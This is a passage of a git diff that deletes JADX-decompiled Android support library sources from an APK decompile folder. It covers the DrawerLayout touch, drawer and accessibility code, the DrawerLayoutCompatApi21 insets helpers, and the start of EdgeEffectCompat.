- goto L38 - L1e: - android.support.v4.widget.ViewDragHelper r7 = r6.mLeftDragger - boolean r7 = r7.checkTouchSlop(r4) - if (r7 == 0) goto L38 - android.support.v4.widget.DrawerLayout$ViewDragCallback r7 = r6.mLeftCallback - r7.removeCallbacks() - android.support.v4.widget.DrawerLayout$ViewDragCallback r7 = r6.mRightCallback - r7.removeCallbacks() - goto L38 - L31: - r6.closeDrawers(r2) - r6.mDisallowInterceptRequested = r3 - r6.mChildrenCanceledTouch = r3 - L38: - r7 = r3 - goto L64 - L3a: - float r0 = r7.getX() - float r7 = r7.getY() - r6.mInitialMotionX = r0 - r6.mInitialMotionY = r7 - float r4 = r6.mScrimOpacity - r5 = 0 - int r4 = (r4 > r5 ? 1 : (r4 == r5 ? 0 : -1)) - if (r4 <= 0) goto L5f - android.support.v4.widget.ViewDragHelper r4 = r6.mLeftDragger - int r0 = (int) r0 - int r7 = (int) r7 - android.view.View r7 = r4.findTopChildUnder(r0, r7) - if (r7 == 0) goto L5f - boolean r7 = r6.isContentView(r7) - if (r7 == 0) goto L5f - r7 = r2 - goto L60 - L5f: - r7 = r3 - L60: - r6.mDisallowInterceptRequested = r3 - r6.mChildrenCanceledTouch = r3 - L64: - if (r1 != 0) goto L74 - if (r7 != 0) goto L74 - boolean r7 = r6.hasPeekingDrawer() - if (r7 != 0) goto L74 - boolean r7 = r6.mChildrenCanceledTouch - if (r7 == 0) goto L73 - goto L74 - L73: - r2 = r3 - L74: - return r2 - */ - throw new UnsupportedOperationException("Method not decompiled: android.support.v4.widget.DrawerLayout.onInterceptTouchEvent(android.view.MotionEvent):boolean"); - } - - @Override // android.view.View - public boolean onTouchEvent(MotionEvent motionEvent) { - boolean z; - View findOpenDrawer; - this.mLeftDragger.processTouchEvent(motionEvent); - this.mRightDragger.processTouchEvent(motionEvent); - int action = motionEvent.getAction() & 255; - if (action == 0) { - float x = motionEvent.getX(); - float y = motionEvent.getY(); - this.mInitialMotionX = x; - this.mInitialMotionY = y; - this.mDisallowInterceptRequested = false; - this.mChildrenCanceledTouch = false; - } else if (action == 1) { - float x2 = motionEvent.getX(); - float y2 = motionEvent.getY(); - View findTopChildUnder = this.mLeftDragger.findTopChildUnder((int) x2, (int) y2); - if (findTopChildUnder != null && isContentView(findTopChildUnder)) { - float f = x2 - this.mInitialMotionX; - float f2 = y2 - this.mInitialMotionY; - int touchSlop = this.mLeftDragger.getTouchSlop(); - if ((f * f) + (f2 * f2) < touchSlop * touchSlop && (findOpenDrawer = findOpenDrawer()) != null && getDrawerLockMode(findOpenDrawer) != 2) { - z = false; - closeDrawers(z); - this.mDisallowInterceptRequested = false; - } - } - z = true; - closeDrawers(z); - this.mDisallowInterceptRequested = false; - } else if (action == 3) { - closeDrawers(CHILDREN_DISALLOW_INTERCEPT); - this.mDisallowInterceptRequested = false; - this.mChildrenCanceledTouch = false; - } - return CHILDREN_DISALLOW_INTERCEPT; - } - - @Override // android.view.ViewGroup, android.view.ViewParent - public void requestDisallowInterceptTouchEvent(boolean z) { - super.requestDisallowInterceptTouchEvent(z); - this.mDisallowInterceptRequested = z; - if (z) { - closeDrawers(CHILDREN_DISALLOW_INTERCEPT); - } - } - - public void closeDrawers() { - closeDrawers(false); - } - - void closeDrawers(boolean z) { - boolean smoothSlideViewTo; - int childCount = getChildCount(); - boolean z2 = false; - for (int i = 0; i < childCount; i++) { - View childAt = getChildAt(i); - LayoutParams layoutParams = (LayoutParams) childAt.getLayoutParams(); - if (isDrawerView(childAt) && (!z || layoutParams.isPeeking)) { - int width = childAt.getWidth(); - if (checkDrawerViewAbsoluteGravity(childAt, 3)) { - smoothSlideViewTo = this.mLeftDragger.smoothSlideViewTo(childAt, -width, childAt.getTop()); - } else { - smoothSlideViewTo = this.mRightDragger.smoothSlideViewTo(childAt, getWidth(), childAt.getTop()); - } - z2 |= smoothSlideViewTo; - layoutParams.isPeeking = false; - } - } - this.mLeftCallback.removeCallbacks(); - this.mRightCallback.removeCallbacks(); - if (z2) { - invalidate(); - } - } - - public void openDrawer(View view) { - openDrawer(view, CHILDREN_DISALLOW_INTERCEPT); - } - - public void openDrawer(View view, boolean z) { - if (!isDrawerView(view)) { - throw new IllegalArgumentException("View " + view + " is not a sliding drawer"); - } - LayoutParams layoutParams = (LayoutParams) view.getLayoutParams(); - if (this.mFirstLayout) { - layoutParams.onScreen = TOUCH_SLOP_SENSITIVITY; - layoutParams.openState = 1; - updateChildrenImportantForAccessibility(view, CHILDREN_DISALLOW_INTERCEPT); - } else if (z) { - layoutParams.openState |= 2; - if (checkDrawerViewAbsoluteGravity(view, 3)) { - this.mLeftDragger.smoothSlideViewTo(view, 0, view.getTop()); - } else { - this.mRightDragger.smoothSlideViewTo(view, getWidth() - view.getWidth(), view.getTop()); - } - } else { - moveDrawerToOffset(view, TOUCH_SLOP_SENSITIVITY); - updateDrawerState(layoutParams.gravity, 0, view); - view.setVisibility(0); - } - invalidate(); - } - - public void openDrawer(int i) { - openDrawer(i, CHILDREN_DISALLOW_INTERCEPT); - } - - public void openDrawer(int i, boolean z) { - View findDrawerWithGravity = findDrawerWithGravity(i); - if (findDrawerWithGravity == null) { - throw new IllegalArgumentException("No drawer view found with gravity " + gravityToString(i)); - } - openDrawer(findDrawerWithGravity, z); - } - - public void closeDrawer(View view) { - closeDrawer(view, CHILDREN_DISALLOW_INTERCEPT); - } - - public void closeDrawer(View view, boolean z) { - if (!isDrawerView(view)) { - throw new IllegalArgumentException("View " + view + " is not a sliding drawer"); - } - LayoutParams layoutParams = (LayoutParams) view.getLayoutParams(); - if (this.mFirstLayout) { - layoutParams.onScreen = 0.0f; - layoutParams.openState = 0; - } else if (z) { - layoutParams.openState |= 4; - if (checkDrawerViewAbsoluteGravity(view, 3)) { - this.mLeftDragger.smoothSlideViewTo(view, -view.getWidth(), view.getTop()); - } else { - this.mRightDragger.smoothSlideViewTo(view, getWidth(), view.getTop()); - } - } else { - moveDrawerToOffset(view, 0.0f); - updateDrawerState(layoutParams.gravity, 0, view); - view.setVisibility(4); - } - invalidate(); - } - - public void closeDrawer(int i) { - closeDrawer(i, CHILDREN_DISALLOW_INTERCEPT); - } - - public void closeDrawer(int i, boolean z) { - View findDrawerWithGravity = findDrawerWithGravity(i); - if (findDrawerWithGravity == null) { - throw new IllegalArgumentException("No drawer view found with gravity " + gravityToString(i)); - } - closeDrawer(findDrawerWithGravity, z); - } - - public boolean isDrawerOpen(View view) { - if (!isDrawerView(view)) { - throw new IllegalArgumentException("View " + view + " is not a drawer"); - } - if ((((LayoutParams) view.getLayoutParams()).openState & 1) == 1) { - return CHILDREN_DISALLOW_INTERCEPT; - } - return false; - } - - public boolean isDrawerOpen(int i) { - View findDrawerWithGravity = findDrawerWithGravity(i); - if (findDrawerWithGravity != null) { - return isDrawerOpen(findDrawerWithGravity); - } - return false; - } - - public boolean isDrawerVisible(View view) { - if (!isDrawerView(view)) { - throw new IllegalArgumentException("View " + view + " is not a drawer"); - } - if (((LayoutParams) view.getLayoutParams()).onScreen > 0.0f) { - return CHILDREN_DISALLOW_INTERCEPT; - } - return false; - } - - public boolean isDrawerVisible(int i) { - View findDrawerWithGravity = findDrawerWithGravity(i); - if (findDrawerWithGravity != null) { - return isDrawerVisible(findDrawerWithGravity); - } - return false; - } - - private boolean hasPeekingDrawer() { - int childCount = getChildCount(); - for (int i = 0; i < childCount; i++) { - if (((LayoutParams) getChildAt(i).getLayoutParams()).isPeeking) { - return CHILDREN_DISALLOW_INTERCEPT; - } - } - return false; - } - - @Override // android.view.ViewGroup - protected ViewGroup.LayoutParams generateDefaultLayoutParams() { - return new LayoutParams(-1, -1); - } - - @Override // android.view.ViewGroup - protected ViewGroup.LayoutParams generateLayoutParams(ViewGroup.LayoutParams layoutParams) { - return layoutParams instanceof LayoutParams ? new LayoutParams((LayoutParams) layoutParams) : layoutParams instanceof ViewGroup.MarginLayoutParams ? new LayoutParams((ViewGroup.MarginLayoutParams) layoutParams) : new LayoutParams(layoutParams); - } - - @Override // android.view.ViewGroup - protected boolean checkLayoutParams(ViewGroup.LayoutParams layoutParams) { - if ((layoutParams instanceof LayoutParams) && super.checkLayoutParams(layoutParams)) { - return CHILDREN_DISALLOW_INTERCEPT; - } - return false; - } - - @Override // android.view.ViewGroup - public ViewGroup.LayoutParams generateLayoutParams(AttributeSet attributeSet) { - return new LayoutParams(getContext(), attributeSet); - } - - @Override // android.view.ViewGroup, android.view.View - public void addFocusables(ArrayList arrayList, int i, int i2) { - if (getDescendantFocusability() == 393216) { - return; - } - int childCount = getChildCount(); - boolean z = false; - for (int i3 = 0; i3 < childCount; i3++) { - View childAt = getChildAt(i3); - if (isDrawerView(childAt)) { - if (isDrawerOpen(childAt)) { - childAt.addFocusables(arrayList, i, i2); - z = CHILDREN_DISALLOW_INTERCEPT; - } - } else { - this.mNonDrawerViews.add(childAt); - } - } - if (!z) { - int size = this.mNonDrawerViews.size(); - for (int i4 = 0; i4 < size; i4++) { - View view = this.mNonDrawerViews.get(i4); - if (view.getVisibility() == 0) { - view.addFocusables(arrayList, i, i2); - } - } - } - this.mNonDrawerViews.clear(); - } - - private boolean hasVisibleDrawer() { - if (findVisibleDrawer() != null) { - return CHILDREN_DISALLOW_INTERCEPT; - } - return false; - } - - View findVisibleDrawer() { - int childCount = getChildCount(); - for (int i = 0; i < childCount; i++) { - View childAt = getChildAt(i); - if (isDrawerView(childAt) && isDrawerVisible(childAt)) { - return childAt; - } - } - return null; - } - - void cancelChildViewTouch() { - if (this.mChildrenCanceledTouch) { - return; - } - long uptimeMillis = SystemClock.uptimeMillis(); - MotionEvent obtain = MotionEvent.obtain(uptimeMillis, uptimeMillis, 3, 0.0f, 0.0f, 0); - int childCount = getChildCount(); - for (int i = 0; i < childCount; i++) { - getChildAt(i).dispatchTouchEvent(obtain); - } - obtain.recycle(); - this.mChildrenCanceledTouch = CHILDREN_DISALLOW_INTERCEPT; - } - - @Override // android.view.View, android.view.KeyEvent.Callback - public boolean onKeyDown(int i, KeyEvent keyEvent) { - if (i == 4 && hasVisibleDrawer()) { - keyEvent.startTracking(); - return CHILDREN_DISALLOW_INTERCEPT; - } - return super.onKeyDown(i, keyEvent); - } - - @Override // android.view.View, android.view.KeyEvent.Callback - public boolean onKeyUp(int i, KeyEvent keyEvent) { - if (i == 4) { - View findVisibleDrawer = findVisibleDrawer(); - if (findVisibleDrawer != null && getDrawerLockMode(findVisibleDrawer) == 0) { - closeDrawers(); - } - if (findVisibleDrawer != null) { - return CHILDREN_DISALLOW_INTERCEPT; - } - return false; - } - return super.onKeyUp(i, keyEvent); - } - - @Override // android.view.View - protected void onRestoreInstanceState(Parcelable parcelable) { - View findDrawerWithGravity; - if (!(parcelable instanceof SavedState)) { - super.onRestoreInstanceState(parcelable); - return; - } - SavedState savedState = (SavedState) parcelable; - super.onRestoreInstanceState(savedState.getSuperState()); - if (savedState.openDrawerGravity != 0 && (findDrawerWithGravity = findDrawerWithGravity(savedState.openDrawerGravity)) != null) { - openDrawer(findDrawerWithGravity); - } - if (savedState.lockModeLeft != 3) { - setDrawerLockMode(savedState.lockModeLeft, 3); - } - if (savedState.lockModeRight != 3) { - setDrawerLockMode(savedState.lockModeRight, 5); - } - if (savedState.lockModeStart != 3) { - setDrawerLockMode(savedState.lockModeStart, GravityCompat.START); - } - if (savedState.lockModeEnd != 3) { - setDrawerLockMode(savedState.lockModeEnd, GravityCompat.END); - } - } - - @Override // android.view.View - protected Parcelable onSaveInstanceState() { - SavedState savedState = new SavedState(super.onSaveInstanceState()); - int childCount = getChildCount(); - for (int i = 0; i < childCount; i++) { - LayoutParams layoutParams = (LayoutParams) getChildAt(i).getLayoutParams(); - int i2 = layoutParams.openState; - boolean z = CHILDREN_DISALLOW_INTERCEPT; - boolean z2 = i2 == 1; - if (layoutParams.openState != 2) { - z = false; - } - if (z2 || z) { - savedState.openDrawerGravity = layoutParams.gravity; - break; - } - } - savedState.lockModeLeft = this.mLockModeLeft; - savedState.lockModeRight = this.mLockModeRight; - savedState.lockModeStart = this.mLockModeStart; - savedState.lockModeEnd = this.mLockModeEnd; - return savedState; - } - - @Override // android.view.ViewGroup - public void addView(View view, int i, ViewGroup.LayoutParams layoutParams) { - super.addView(view, i, layoutParams); - if (findOpenDrawer() != null || isDrawerView(view)) { - ViewCompat.setImportantForAccessibility(view, 4); - } else { - ViewCompat.setImportantForAccessibility(view, 1); - } - if (CAN_HIDE_DESCENDANTS) { - return; - } - ViewCompat.setAccessibilityDelegate(view, this.mChildAccessibilityDelegate); - } - - static boolean includeChildForAccessibility(View view) { - if (ViewCompat.getImportantForAccessibility(view) == 4 || ViewCompat.getImportantForAccessibility(view) == 2) { - return false; - } - return CHILDREN_DISALLOW_INTERCEPT; - } - - /* JADX INFO: Access modifiers changed from: protected */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class SavedState extends AbsSavedState { - public static final Parcelable.Creator CREATOR = ParcelableCompat.newCreator(new ParcelableCompatCreatorCallbacks() { // from class: android.support.v4.widget.DrawerLayout.SavedState.1 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.support.v4.os.ParcelableCompatCreatorCallbacks - public SavedState createFromParcel(Parcel parcel, ClassLoader classLoader) { - return new SavedState(parcel, classLoader); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.support.v4.os.ParcelableCompatCreatorCallbacks - public SavedState[] newArray(int i) { - return new SavedState[i]; - } - }); - int lockModeEnd; - int lockModeLeft; - int lockModeRight; - int lockModeStart; - int openDrawerGravity; - - public SavedState(Parcel parcel, ClassLoader classLoader) { - super(parcel, classLoader); - this.openDrawerGravity = 0; - this.openDrawerGravity = parcel.readInt(); - this.lockModeLeft = parcel.readInt(); - this.lockModeRight = parcel.readInt(); - this.lockModeStart = parcel.readInt(); - this.lockModeEnd = parcel.readInt(); - } - - public SavedState(Parcelable parcelable) { - super(parcelable); - this.openDrawerGravity = 0; - } - - @Override // android.support.v4.view.AbsSavedState, android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - super.writeToParcel(parcel, i); - parcel.writeInt(this.openDrawerGravity); - parcel.writeInt(this.lockModeLeft); - parcel.writeInt(this.lockModeRight); - parcel.writeInt(this.lockModeStart); - parcel.writeInt(this.lockModeEnd); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public class ViewDragCallback extends ViewDragHelper.Callback { - private final int mAbsGravity; - private ViewDragHelper mDragger; - private final Runnable mPeekRunnable = new Runnable() { // from class: android.support.v4.widget.DrawerLayout.ViewDragCallback.1 - @Override // java.lang.Runnable - public void run() { - ViewDragCallback.this.peekDrawer(); - } - }; - - @Override // android.support.v4.widget.ViewDragHelper.Callback - public boolean onEdgeLock(int i) { - return false; - } - - ViewDragCallback(int i) { - this.mAbsGravity = i; - } - - public void setDragger(ViewDragHelper viewDragHelper) { - this.mDragger = viewDragHelper; - } - - public void removeCallbacks() { - DrawerLayout.this.removeCallbacks(this.mPeekRunnable); - } - - @Override // android.support.v4.widget.ViewDragHelper.Callback - public boolean tryCaptureView(View view, int i) { - if (DrawerLayout.this.isDrawerView(view) && DrawerLayout.this.checkDrawerViewAbsoluteGravity(view, this.mAbsGravity) && DrawerLayout.this.getDrawerLockMode(view) == 0) { - return DrawerLayout.CHILDREN_DISALLOW_INTERCEPT; - } - return false; - } - - @Override // android.support.v4.widget.ViewDragHelper.Callback - public void onViewDragStateChanged(int i) { - DrawerLayout.this.updateDrawerState(this.mAbsGravity, i, this.mDragger.getCapturedView()); - } - - @Override // android.support.v4.widget.ViewDragHelper.Callback - public void onViewPositionChanged(View view, int i, int i2, int i3, int i4) { - int width = view.getWidth(); - float width2 = (DrawerLayout.this.checkDrawerViewAbsoluteGravity(view, 3) ? i + width : DrawerLayout.this.getWidth() - i) / width; - DrawerLayout.this.setDrawerViewOffset(view, width2); - view.setVisibility(width2 == 0.0f ? 4 : 0); - DrawerLayout.this.invalidate(); - } - - @Override // android.support.v4.widget.ViewDragHelper.Callback - public void onViewCaptured(View view, int i) { - ((LayoutParams) view.getLayoutParams()).isPeeking = false; - closeOtherDrawer(); - } - - private void closeOtherDrawer() { - View findDrawerWithGravity = DrawerLayout.this.findDrawerWithGravity(this.mAbsGravity == 3 ? 5 : 3); - if (findDrawerWithGravity != null) { - DrawerLayout.this.closeDrawer(findDrawerWithGravity); - } - } - - @Override // android.support.v4.widget.ViewDragHelper.Callback - public void onViewReleased(View view, float f, float f2) { - int i; - float drawerViewOffset = DrawerLayout.this.getDrawerViewOffset(view); - int width = view.getWidth(); - if (DrawerLayout.this.checkDrawerViewAbsoluteGravity(view, 3)) { - int i2 = (f > 0.0f ? 1 : (f == 0.0f ? 0 : -1)); - i = (i2 > 0 || (i2 == 0 && drawerViewOffset > 0.5f)) ? 0 : -width; - } else { - int width2 = DrawerLayout.this.getWidth(); - if (f < 0.0f || (f == 0.0f && drawerViewOffset > 0.5f)) { - width2 -= width; - } - i = width2; - } - this.mDragger.settleCapturedViewAt(i, view.getTop()); - DrawerLayout.this.invalidate(); - } - - @Override // android.support.v4.widget.ViewDragHelper.Callback - public void onEdgeTouched(int i, int i2) { - DrawerLayout.this.postDelayed(this.mPeekRunnable, 160L); - } - - void peekDrawer() { - View findDrawerWithGravity; - int width; - int edgeSize = this.mDragger.getEdgeSize(); - boolean z = this.mAbsGravity == 3; - if (z) { - findDrawerWithGravity = DrawerLayout.this.findDrawerWithGravity(3); - width = (findDrawerWithGravity != null ? -findDrawerWithGravity.getWidth() : 0) + edgeSize; - } else { - findDrawerWithGravity = DrawerLayout.this.findDrawerWithGravity(5); - width = DrawerLayout.this.getWidth() - edgeSize; - } - if (findDrawerWithGravity != null) { - if (((!z || findDrawerWithGravity.getLeft() >= width) && (z || findDrawerWithGravity.getLeft() <= width)) || DrawerLayout.this.getDrawerLockMode(findDrawerWithGravity) != 0) { - return; - } - this.mDragger.smoothSlideViewTo(findDrawerWithGravity, width, findDrawerWithGravity.getTop()); - ((LayoutParams) findDrawerWithGravity.getLayoutParams()).isPeeking = DrawerLayout.CHILDREN_DISALLOW_INTERCEPT; - DrawerLayout.this.invalidate(); - closeOtherDrawer(); - DrawerLayout.this.cancelChildViewTouch(); - } - } - - @Override // android.support.v4.widget.ViewDragHelper.Callback - public void onEdgeDragStarted(int i, int i2) { - View findDrawerWithGravity; - if ((i & 1) == 1) { - findDrawerWithGravity = DrawerLayout.this.findDrawerWithGravity(3); - } else { - findDrawerWithGravity = DrawerLayout.this.findDrawerWithGravity(5); - } - if (findDrawerWithGravity == null || DrawerLayout.this.getDrawerLockMode(findDrawerWithGravity) != 0) { - return; - } - this.mDragger.captureChildView(findDrawerWithGravity, i2); - } - - @Override // android.support.v4.widget.ViewDragHelper.Callback - public int getViewHorizontalDragRange(View view) { - if (DrawerLayout.this.isDrawerView(view)) { - return view.getWidth(); - } - return 0; - } - - @Override // android.support.v4.widget.ViewDragHelper.Callback - public int clampViewPositionHorizontal(View view, int i, int i2) { - if (DrawerLayout.this.checkDrawerViewAbsoluteGravity(view, 3)) { - return Math.max(-view.getWidth(), Math.min(i, 0)); - } - int width = DrawerLayout.this.getWidth(); - return Math.max(width - view.getWidth(), Math.min(i, width)); - } - - @Override // android.support.v4.widget.ViewDragHelper.Callback - public int clampViewPositionVertical(View view, int i, int i2) { - return view.getTop(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class LayoutParams extends ViewGroup.MarginLayoutParams { - private static final int FLAG_IS_CLOSING = 4; - private static final int FLAG_IS_OPENED = 1; - private static final int FLAG_IS_OPENING = 2; - public int gravity; - boolean isPeeking; - float onScreen; - int openState; - - public LayoutParams(Context context, AttributeSet attributeSet) { - super(context, attributeSet); - this.gravity = 0; - TypedArray obtainStyledAttributes = context.obtainStyledAttributes(attributeSet, DrawerLayout.LAYOUT_ATTRS); - this.gravity = obtainStyledAttributes.getInt(0, 0); - obtainStyledAttributes.recycle(); - } - - public LayoutParams(int i, int i2) { - super(i, i2); - this.gravity = 0; - } - - public LayoutParams(int i, int i2, int i3) { - this(i, i2); - this.gravity = i3; - } - - public LayoutParams(LayoutParams layoutParams) { - super((ViewGroup.MarginLayoutParams) layoutParams); - this.gravity = 0; - this.gravity = layoutParams.gravity; - } - - public LayoutParams(ViewGroup.LayoutParams layoutParams) { - super(layoutParams); - this.gravity = 0; - } - - public LayoutParams(ViewGroup.MarginLayoutParams marginLayoutParams) { - super(marginLayoutParams); - this.gravity = 0; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - class AccessibilityDelegate extends AccessibilityDelegateCompat { - private final Rect mTmpRect = new Rect(); - - AccessibilityDelegate() { - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat - public void onInitializeAccessibilityNodeInfo(View view, AccessibilityNodeInfoCompat accessibilityNodeInfoCompat) { - if (DrawerLayout.CAN_HIDE_DESCENDANTS) { - super.onInitializeAccessibilityNodeInfo(view, accessibilityNodeInfoCompat); - } else { - AccessibilityNodeInfoCompat obtain = AccessibilityNodeInfoCompat.obtain(accessibilityNodeInfoCompat); - super.onInitializeAccessibilityNodeInfo(view, obtain); - accessibilityNodeInfoCompat.setSource(view); - ViewParent parentForAccessibility = ViewCompat.getParentForAccessibility(view); - if (parentForAccessibility instanceof View) { - accessibilityNodeInfoCompat.setParent((View) parentForAccessibility); - } - copyNodeInfoNoChildren(accessibilityNodeInfoCompat, obtain); - obtain.recycle(); - addChildrenForAccessibility(accessibilityNodeInfoCompat, (ViewGroup) view); - } - accessibilityNodeInfoCompat.setClassName(DrawerLayout.class.getName()); - accessibilityNodeInfoCompat.setFocusable(false); - accessibilityNodeInfoCompat.setFocused(false); - accessibilityNodeInfoCompat.removeAction(AccessibilityNodeInfoCompat.AccessibilityActionCompat.ACTION_FOCUS); - accessibilityNodeInfoCompat.removeAction(AccessibilityNodeInfoCompat.AccessibilityActionCompat.ACTION_CLEAR_FOCUS); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat - public void onInitializeAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - super.onInitializeAccessibilityEvent(view, accessibilityEvent); - accessibilityEvent.setClassName(DrawerLayout.class.getName()); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat - public boolean dispatchPopulateAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - if (accessibilityEvent.getEventType() == 32) { - List text = accessibilityEvent.getText(); - View findVisibleDrawer = DrawerLayout.this.findVisibleDrawer(); - if (findVisibleDrawer != null) { - CharSequence drawerTitle = DrawerLayout.this.getDrawerTitle(DrawerLayout.this.getDrawerViewAbsoluteGravity(findVisibleDrawer)); - if (drawerTitle != null) { - text.add(drawerTitle); - return DrawerLayout.CHILDREN_DISALLOW_INTERCEPT; - } - return DrawerLayout.CHILDREN_DISALLOW_INTERCEPT; - } - return DrawerLayout.CHILDREN_DISALLOW_INTERCEPT; - } - return super.dispatchPopulateAccessibilityEvent(view, accessibilityEvent); - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat - public boolean onRequestSendAccessibilityEvent(ViewGroup viewGroup, View view, AccessibilityEvent accessibilityEvent) { - if (DrawerLayout.CAN_HIDE_DESCENDANTS || DrawerLayout.includeChildForAccessibility(view)) { - return super.onRequestSendAccessibilityEvent(viewGroup, view, accessibilityEvent); - } - return false; - } - - private void addChildrenForAccessibility(AccessibilityNodeInfoCompat accessibilityNodeInfoCompat, ViewGroup viewGroup) { - int childCount = viewGroup.getChildCount(); - for (int i = 0; i < childCount; i++) { - View childAt = viewGroup.getChildAt(i); - if (DrawerLayout.includeChildForAccessibility(childAt)) { - accessibilityNodeInfoCompat.addChild(childAt); - } - } - } - - private void copyNodeInfoNoChildren(AccessibilityNodeInfoCompat accessibilityNodeInfoCompat, AccessibilityNodeInfoCompat accessibilityNodeInfoCompat2) { - Rect rect = this.mTmpRect; - accessibilityNodeInfoCompat2.getBoundsInParent(rect); - accessibilityNodeInfoCompat.setBoundsInParent(rect); - accessibilityNodeInfoCompat2.getBoundsInScreen(rect); - accessibilityNodeInfoCompat.setBoundsInScreen(rect); - accessibilityNodeInfoCompat.setVisibleToUser(accessibilityNodeInfoCompat2.isVisibleToUser()); - accessibilityNodeInfoCompat.setPackageName(accessibilityNodeInfoCompat2.getPackageName()); - accessibilityNodeInfoCompat.setClassName(accessibilityNodeInfoCompat2.getClassName()); - accessibilityNodeInfoCompat.setContentDescription(accessibilityNodeInfoCompat2.getContentDescription()); - accessibilityNodeInfoCompat.setEnabled(accessibilityNodeInfoCompat2.isEnabled()); - accessibilityNodeInfoCompat.setClickable(accessibilityNodeInfoCompat2.isClickable()); - accessibilityNodeInfoCompat.setFocusable(accessibilityNodeInfoCompat2.isFocusable()); - accessibilityNodeInfoCompat.setFocused(accessibilityNodeInfoCompat2.isFocused()); - accessibilityNodeInfoCompat.setAccessibilityFocused(accessibilityNodeInfoCompat2.isAccessibilityFocused()); - accessibilityNodeInfoCompat.setSelected(accessibilityNodeInfoCompat2.isSelected()); - accessibilityNodeInfoCompat.setLongClickable(accessibilityNodeInfoCompat2.isLongClickable()); - accessibilityNodeInfoCompat.addAction(accessibilityNodeInfoCompat2.getActions()); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - final class ChildAccessibilityDelegate extends AccessibilityDelegateCompat { - ChildAccessibilityDelegate() { - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat - public void onInitializeAccessibilityNodeInfo(View view, AccessibilityNodeInfoCompat accessibilityNodeInfoCompat) { - super.onInitializeAccessibilityNodeInfo(view, accessibilityNodeInfoCompat); - if (DrawerLayout.includeChildForAccessibility(view)) { - return; - } - accessibilityNodeInfoCompat.setParent(null); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/DrawerLayoutCompatApi21.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/DrawerLayoutCompatApi21.java deleted file mode 100644 index 6fd0b8e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/DrawerLayoutCompatApi21.java +++ /dev/null @@ -1,73 +0,0 @@ -package android.support.v4.widget; - -import android.content.Context; -import android.content.res.TypedArray; -import android.graphics.drawable.Drawable; -import android.view.View; -import android.view.ViewGroup; -import android.view.WindowInsets; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class DrawerLayoutCompatApi21 { - private static final int[] THEME_ATTRS = {16843828}; - - DrawerLayoutCompatApi21() { - } - - public static void configureApplyInsets(View view) { - if (view instanceof DrawerLayoutImpl) { - view.setOnApplyWindowInsetsListener(new InsetsListener()); - view.setSystemUiVisibility(1280); - } - } - - public static void dispatchChildInsets(View view, Object obj, int i) { - WindowInsets windowInsets = (WindowInsets) obj; - if (i == 3) { - windowInsets = windowInsets.replaceSystemWindowInsets(windowInsets.getSystemWindowInsetLeft(), windowInsets.getSystemWindowInsetTop(), 0, windowInsets.getSystemWindowInsetBottom()); - } else if (i == 5) { - windowInsets = windowInsets.replaceSystemWindowInsets(0, windowInsets.getSystemWindowInsetTop(), windowInsets.getSystemWindowInsetRight(), windowInsets.getSystemWindowInsetBottom()); - } - view.dispatchApplyWindowInsets(windowInsets); - } - - public static void applyMarginInsets(ViewGroup.MarginLayoutParams marginLayoutParams, Object obj, int i) { - WindowInsets windowInsets = (WindowInsets) obj; - if (i == 3) { - windowInsets = windowInsets.replaceSystemWindowInsets(windowInsets.getSystemWindowInsetLeft(), windowInsets.getSystemWindowInsetTop(), 0, windowInsets.getSystemWindowInsetBottom()); - } else if (i == 5) { - windowInsets = windowInsets.replaceSystemWindowInsets(0, windowInsets.getSystemWindowInsetTop(), windowInsets.getSystemWindowInsetRight(), windowInsets.getSystemWindowInsetBottom()); - } - marginLayoutParams.leftMargin = windowInsets.getSystemWindowInsetLeft(); - marginLayoutParams.topMargin = windowInsets.getSystemWindowInsetTop(); - marginLayoutParams.rightMargin = windowInsets.getSystemWindowInsetRight(); - marginLayoutParams.bottomMargin = windowInsets.getSystemWindowInsetBottom(); - } - - public static int getTopInset(Object obj) { - if (obj != null) { - return ((WindowInsets) obj).getSystemWindowInsetTop(); - } - return 0; - } - - public static Drawable getDefaultStatusBarBackground(Context context) { - TypedArray obtainStyledAttributes = context.obtainStyledAttributes(THEME_ATTRS); - try { - return obtainStyledAttributes.getDrawable(0); - } finally { - obtainStyledAttributes.recycle(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class InsetsListener implements View.OnApplyWindowInsetsListener { - InsetsListener() { - } - - @Override // android.view.View.OnApplyWindowInsetsListener - public WindowInsets onApplyWindowInsets(View view, WindowInsets windowInsets) { - ((DrawerLayoutImpl) view).setChildInsets(windowInsets, windowInsets.getSystemWindowInsetTop() > 0); - return windowInsets.consumeSystemWindowInsets(); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/DrawerLayoutImpl.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/DrawerLayoutImpl.java deleted file mode 100644 index 6f7a643..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/DrawerLayoutImpl.java +++ /dev/null @@ -1,5 +0,0 @@ -package android.support.v4.widget; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -interface DrawerLayoutImpl { - void setChildInsets(Object obj, boolean z); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/EdgeEffectCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/EdgeEffectCompat.java deleted file mode 100644 index 83ef172..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/EdgeEffectCompat.java +++ /dev/null @@ -1,178 +0,0 @@ -package android.support.v4.widget; - -import android.content.Context; -import android.graphics.Canvas; -/* loaded from: 